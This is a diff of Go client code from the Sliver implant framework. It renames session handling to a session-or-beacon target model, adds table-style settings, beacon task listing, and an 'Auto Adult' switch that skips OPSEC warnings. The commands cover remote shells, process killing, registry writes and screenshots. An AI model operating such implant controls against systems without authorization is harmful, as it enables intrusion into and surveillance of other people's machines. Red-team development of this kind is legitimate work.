if err != nil {
return -1
+2 -2
View File
@@ -28,14 +28,14 @@ import (
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
terminated, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// RegCreateKeyCmd - Create a new Windows registry key
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+4 -4
View File
@@ -9,7 +9,7 @@ import (
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -43,7 +43,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -76,7 +76,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -117,7 +117,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -123,7 +123,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
regWrite, err := con.Rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: finalPath,
+2 -2
View File
@@ -34,7 +34,7 @@ import (
// ScreenshotCmd - Take a screenshot of the remote system
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
screenshot, err := con.Rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+1 -1
View File
@@ -7,6 +7,6 @@ import (
// BackgroundCmd - Background the active session
func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveSession.Background()
con.ActiveTarget.Background()
con.PrintInfof("Background ...\n")
}
+20 -2
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
@@ -14,7 +32,7 @@ import (
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintWarnf("No active session\n")
return
@@ -33,7 +51,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+18
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
+7 -5
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -30,7 +31,7 @@ import (
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -51,11 +52,12 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: con.ActiveSession.Session.ID,
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int32(reconnect),
PollInterval: int32(poll),
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
@@ -63,5 +65,5 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
}
+38 -56
View File
@@ -19,18 +19,17 @@ package sessions
*/
import (
"bytes"
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SessionsCmd - Display/interact with sessions
@@ -48,7 +47,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if killAll {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := killSession(session, true, con)
if err != nil {
@@ -61,7 +60,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if clean {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := killSession(session, true, con)
@@ -76,9 +75,9 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if kill != "" {
session := con.GetSession(kill)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
err := killSession(session, true, con)
if err != nil {
@@ -90,7 +89,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if interact != "" {
session := con.GetSession(interact)
if session != nil {
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
@@ -101,54 +100,36 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
printSessions(sessionsMap, con)
PrintSessions(sessionsMap, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
}
}
/*
So this method is a little more complex than you'd maybe think,
this is because Go's tabwriter aligns columns by counting bytes
and since we want to modify the color of the active sliver row
the number of bytes per row won't line up. So we render the table
into a buffer and note which row the active sliver is in. Then we
write each line to the term and insert the ANSI codes just before
we display the row.
*/
func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Transport")),
strings.Repeat("=", len("Remote Address")),
strings.Repeat("=", len("Hostname")),
strings.Repeat("=", len("Username")),
strings.Repeat("=", len("Operating System")),
strings.Repeat("=", len("Last Check-in")),
strings.Repeat("=", len("Health")),
)
// strings.Repeat("=", len("Burned")))
// Sort the keys because maps have a randomized order
var keys []int
for _, session := range sessions {
keys = append(keys, int(session.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
activeIndex := -1
for index, key := range keys {
session := sessions[uint32(key)]
if con.ActiveSession.Get() != nil && con.ActiveSession.Get().ID == session.ID {
index := 0
for _, session := range sessions {
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
activeIndex = index + 2 // Two lines for the headers
}
index++
var SessionHealth string
if session.IsDead {
@@ -160,8 +141,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
tw.AppendRow(table.Row{
session.ID,
session.Name,
session.Transport,
@@ -169,15 +149,16 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
session.LastCheckin,
SessionHealth,
burned,
)
time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
burned + SessionHealth,
})
}
table.Flush()
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
if activeIndex != -1 {
lines := strings.Split(outputBuf.String(), "\n")
lines := strings.Split(tw.Render(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
@@ -189,6 +170,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
}
}
} else {
con.Printf(outputBuf.String())
con.Printf("%s\n", tw.Render())
}
}
-39
View File
@@ -1,39 +0,0 @@
package sessions
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionArg := ctx.Args.String("session")
if sessionArg != "" {
session := con.GetSession(sessionArg)
if session == nil {
con.PrintErrorf("Invalid session name or session number '%s'\n", ctx.Args.String("session"))
} else {
activate(session, con)
}
} else {
session, err := SelectSession(false, con)
if session != nil {
activate(session, con)
} else if err != nil {
switch err {
case ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
}
func activate(session *clientpb.Session, con *console.SliverConsoleClient) {
con.ActiveSession.Set(session)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
}
+4
View File
@@ -0,0 +1,4 @@
Style
======
Defines terminal interface styles.
+39
View File
@@ -0,0 +1,39 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsBeaconsAutoResultCmd - The client settings command
func SettingsBeaconsAutoResultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.BeaconAutoResults = !con.Settings.BeaconAutoResults
con.PrintInfof("Beacon Auto Result = %v\n", con.Settings.BeaconAutoResults)
}
+62
View File
@@ -0,0 +1,62 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsAutoAdultCmd - The client settings command
func SettingsAutoAdultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AutoAdult = !con.Settings.AutoAdult
con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult)
}
// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions
func IsUserAnAdult(con *console.SliverConsoleClient) bool {
if GetAutoAdult(con) {
return true
}
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
// GetAutoAdult - Get the current auto adult setting
func GetAutoAdult(con *console.SliverConsoleClient) bool {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
return con.Settings.AutoAdult
}
return false
}
+97
View File
@@ -0,0 +1,97 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SettingsCmd - The client settings command
func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
tw := table.NewWriter()
tw.SetStyle(GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
con.Printf("%s\n", tw.Render())
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
options := []string{}
for option := range tableStyles {
options = append(options, option)
}
style := ""
prompt := &survey.Select{
Message: "Choose a style:",
Options: options,
}
err = survey.AskOne(prompt, &style)
if err != nil {
con.PrintErrorf("No selection\n")
return
}
if _, ok := tableStyles[style]; ok {
con.Settings.TableStyle = style
} else {
con.PrintErrorf("Invalid style\n")
}
}
// SettingsSaveCmd - The client settings command
func SettingsSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
err = assets.SaveSettings(con.Settings)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Settings saved to disk\n")
}
}
+94
View File
@@ -0,0 +1,94 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
var (
tableStyles = map[string]table.Style{
// Sliver styles
SliverDefault.Name: SliverDefault,
// Go Pretty styles
table.StyleBold.Name: table.StyleBold,
table.StyleColoredBright.Name: table.StyleColoredBright,
table.StyleLight.Name: table.StyleLight,
table.StyleColoredDark.Name: table.StyleColoredDark,
table.StyleColoredBlackOnBlueWhite.Name: table.StyleColoredBlackOnBlueWhite,
}
SliverDefault = table.Style{
Name: "SliverDefault",
Box: table.BoxStyle{
BottomLeft: " ",
BottomRight: " ",
BottomSeparator: " ",
Left: " ",
LeftSeparator: " ",
MiddleHorizontal: "=",
MiddleSeparator: " ",
MiddleVertical: " ",
PaddingLeft: " ",
PaddingRight: " ",
Right: " ",
RightSeparator: " ",
TopLeft: " ",
TopRight: " ",
TopSeparator: " ",
UnfinishedRow: " ~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
Footer: text.Colors{},
Header: text.Colors{},
Row: text.Colors{},
RowAlternate: text.Colors{},
},
Format: table.FormatOptions{
Footer: text.FormatDefault,
Header: text.FormatTitle,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: false,
SeparateColumns: true,
SeparateFooter: false,
SeparateHeader: true,
SeparateRows: false,
},
}
)
// GetTableStyle - Get the current table style
func GetTableStyle(con *console.SliverConsoleClient) table.Style {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
if value, ok := tableStyles[con.Settings.TableStyle]; ok {
return value
}
}
return tableStyles[SliverDefault.Name]
}
+6 -5
View File
@@ -25,6 +25,7 @@ import (
"log"
"os"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -41,18 +42,18 @@ const (
// ShellCmd - Start an interactive shell on the remote system
func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
shellPath := ctx.Flags.String("shell-path")
noPty := ctx.Flags.Bool("no-pty")
if con.ActiveSession.Get().OS != linux && con.ActiveSession.Get().OS != darwin {
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
runInteractive(ctx, shellPath, noPty, con)
@@ -61,7 +62,7 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -80,7 +81,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: shellPath,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
+5
View File
@@ -0,0 +1,5 @@
Tasks
=======
Manage and interact with Beacon tasks
+91
View File
@@ -0,0 +1,91 @@
package tasks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// TasksCmd - Manage beacon tasks
func TasksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintBeaconTasks(beaconTasks.Tasks, con)
}
// PrintBeaconTasks - Print beacon tasks
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"State",
"Message Type",
"Created",
"Sent",
"Completed",
})
for _, task := range tasks {
sentAt := time.Unix(task.SentAt, 0).Format(time.RFC1123)
if time.Unix(task.SentAt, 0).IsZero() {
sentAt = ""
}
completedAt := time.Unix(task.CompletedAt, 0).Format(time.RFC1123)
if time.Unix(task.CompletedAt, 0).IsZero() {
completedAt = ""
}
tw.AppendRow(table.Row{
strings.Split(task.ID, "-")[0],
prettyState(task.State),
task.Description,
time.Unix(task.CreatedAt, 0).Format(time.RFC1123),
sentAt,
completedAt,
})
}
con.Printf("%s\n", tw.Render())
}
func prettyState(state string) string {
switch strings.ToLower(state) {
case "pending":
return console.Bold + state + console.Normal
case "sent":
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
default:
return state
}
}
+4
View File
@@ -0,0 +1,4 @@
Use
====
This package implements the `use` command, which is used to select active sessions/beacons.
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseBeaconCmd - Change the active beacon
func UseBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := beacons.SelectBeacon(con)
if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
} else if err != nil {
switch err {
case beacons.ErrNoBeacons:
con.PrintErrorf("No beacon available\n")
case beacons.ErrNoSelection:
con.PrintErrorf("No beacon selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseSessionCmd - Change the active session
func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case sessions.ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+176
View File
@@ -0,0 +1,176 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
var (
ErrNoSelection = errors.New("no selection")
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
var beacon *clientpb.Beacon
var err error
idArg := ctx.Args.String("id")
if idArg != "" {
session, beacon, err = SessionOrBeaconByID(idArg, con)
} else {
session, beacon, err = SelectSessionOrBeacon(con)
}
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
}
}
// SessionOrBeaconByID - Select a session or beacon by ID
func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == uint32(idNumber) {
return session, nil, nil
}
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
for _, beacon := range beacons.Beacons {
if strings.HasPrefix(beacon.ID, id) {
return nil, beacon, nil
}
}
return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id)
}
// SelectSessionOrBeacon - Select a session or beacon
func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
// Get and sort sessions
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []int
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, int(session.ID))
}
sort.Ints(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
